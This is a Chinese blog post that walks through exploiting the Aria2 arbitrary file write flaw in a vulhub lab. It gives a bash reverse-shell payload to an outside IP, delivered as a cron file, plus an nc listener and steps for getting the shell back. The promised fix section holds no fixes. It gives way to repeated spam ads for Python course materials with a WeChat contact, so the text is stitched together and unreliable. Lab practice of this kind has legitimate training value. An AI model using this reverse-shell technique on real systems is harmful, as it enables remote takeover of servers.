08 - vulhub - Aria2 任意文件写入漏洞，美团面试在线编程

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新Python全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Python知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip1024c （备注Python）

正文

---

---

Settings，然后保存。

---

---

此时，我们需要点击 add 添加一个下载任务。

这个时候，比较坑的地方来了,我们需要提供一下下载地址和文件。

可以利用 python 在本地目录临时搭建模拟一个服务器，参考 “使用python在本地指定的目录临时模拟服务器”

并准备 payload 下载文件

#!/bin/bash

/bin/bash -i >& /dev/tcp/192.168.8.137/6666 0>&1

---

---

从网上查阅的资料来看，crontab 文件的格式如果最后一行没有换行符，也就是 “\n” 的情况下极有可能会反弹不成功，这里我们还是加上一下吧。

---

---

再回到添加下载任务这一步，添加我们的临时服务器地址。

---

---

---

开启本地监听

nc -lvvp 6666

进入容器，发现文件已经成功下载，证明写入文件成功。但是等了半天也没有监听到，百思不得其解。

---

---

验证漏洞利用是否成功并反弹

其实写入文件之后已经证实了该漏洞的可利用性。但是，我又想反弹,所以踩坑了…

最后在一篇博文看到，大概率是靶场环境不完整导致的，导致它定时任务动不了。

那么我们给这个文件执行权限并启动好了。

这里有个比较坑的情况

就是 我一共让其下载了2个文件

---

---

第一次下载的是 shell ，这个文件反弹的是我本地私有IP 192.168.8.137 ，在我进入容器 赋予 shell 文件可执行权限时，并没有反弹回来，报错超时。

---

---

第二次的 test 文件我是借了朋友的VPS，在他的VPS上利用python临时模拟了一个服务器，将 定时任务文件放在临时服务器的目录下，执行下载操作，并开启了 7777 端口监听。

此时，我再次进入容器，赋予了 test 文件 777 权限，并执行。

反弹成功。

---

---

---

修复建议

如果你也是看准了Python，想自学Python，在这里为大家准备了丰厚的免费学习大礼包，带大家一起学习，给大家剖析Python兼职、就业行情前景的这些事儿。

一、Python所有方向的学习路线

Python所有方向路线就是把Python常用的技术点做整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。

二、学习软件

工欲善其必先利其器。学习Python常用的开发软件都在这里了，给大家节省了很多时间。

三、全套PDF电子书

书籍的好处就在于权威和体系健全，刚开始学习的时候你可以只看视频或者听某个人讲课，但等你学完之后，你觉得你掌握了，这时候建议还是得去看一下书籍，看权威技术书籍也是每个程序员必经之路。

四、入门学习视频

我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。

四、实战案例

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。

五、面试资料

我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。

成为一个Python程序员专家或许需要花费数年时间，但是打下坚实的基础只要几周就可以，如果你按照我提供的学习路线以及资料有意识地去实践，你就有很大可能成功！
最后祝你好运！！！

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip1024c （备注python）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
你按照我提供的学习路线以及资料有意识地去实践，你就有很大可能成功！
最后祝你好运！！！

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip1024c （备注python）
[外链图片转存中…(img-1D1kt5qi-1713267382702)]

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！